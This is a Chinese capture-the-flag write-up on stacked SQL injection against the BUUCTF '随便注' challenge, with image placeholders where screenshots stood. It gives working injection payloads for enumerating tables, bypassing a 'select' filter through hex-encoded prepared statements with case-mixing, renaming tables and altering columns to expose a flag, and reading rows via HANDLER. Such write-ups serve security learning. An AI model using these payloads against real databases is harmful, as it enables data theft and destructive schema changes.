堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】

了解一下

堆叠注入基础知识及其他题目:
SQL-堆叠注入

终于有时间来填填坑了

Buuctf-随便注

算是堆叠注入中非常经典的题目了。
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第1张图片
随便试试就能看到黑名单:
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第2张图片
没了select,其实大概率就是堆叠注入
先探测一下:

1';show databases;#

堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第3张图片
应该就是了。
再看看表:

1';show tables;#

堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第4张图片
然后查看表的结构先找到flag的位置:

1';desc `1919810931114514`;#

注:在mysql中,数字作为名称都要带上`这个符号来使用,用show columns from `1919810931114514`也行,也是记得加上`

找到
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第5张图片

进阶点

这里就是关键,要如何来查看表中内容呢?select肯定是用不了了

方法一:编码处理

编码处理
因为select被过滤了,所以先将select * from `1919810931114514` 进行16进制编码,得到:

73656C656374202A2066726F6D20603139313938313039333131313435313460

本来payload为:

1';set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

但是:
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第6张图片
还有一个waf,使用大小写混写绕过

1';Set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#

得到结果:
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第7张图片

方法二:巧用已知

在使用堆叠注入查看表之后,除了1919810931114514还有一个words表,因为show tables一定是在当前数据库工作的,说明一开始查询 1得到的,

array(2) {
 [0]=>
 string(1) "1"
 [1]=>
 string(7) "hahahah"
}

一定是利用这两个表查询出来的,显然1919810931114514这个表是不可能的,因为它只有一个字段的,不可能出现两个字段的结果。

1919810931114514的desc 结果如下:
堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第8张图片
现在我们就已知,查询的表是words表,输入1就会出现id=1的列,输入2就可以查id=2的列。虽然不能自己查询,但是可以默认查询words表的固定内容,尝试将
1919810931114514重命名为words,让查询语句默认可以查询到flag

0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

现在来解释一下payload,首先把原word改名为words1,把1919810931114514改名为words,将表中的flag字段修改为id字段,同时将字段的数据类型设置为可变长度字符串,字符集设置为utf8,排序规则设置为utf8_general_ci,并且该字段不能为空。

最后查询一下words表的内容:

1' or 1=1#

堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第9张图片

方法三:handler读取

handler可以优化mysql 性能,但是它本身也存在一些问题。
参考链接:
Handler参考链接1
Handler参考链接2

它具有查询的功能,可以平替select,用法就像这样

handler t_student open as t;handler t read first;

所以它可以直接查询,构造payload就像这样:

1';handler `1919810931114514` open as p;handler p read first;#

堆叠注入进阶--(buuctf-随便注、GYCTF-black_list)【多方法详解】_第10张图片

你可能感兴趣的:(buuctf,web安全,网络安全,sql,sql注入,安全)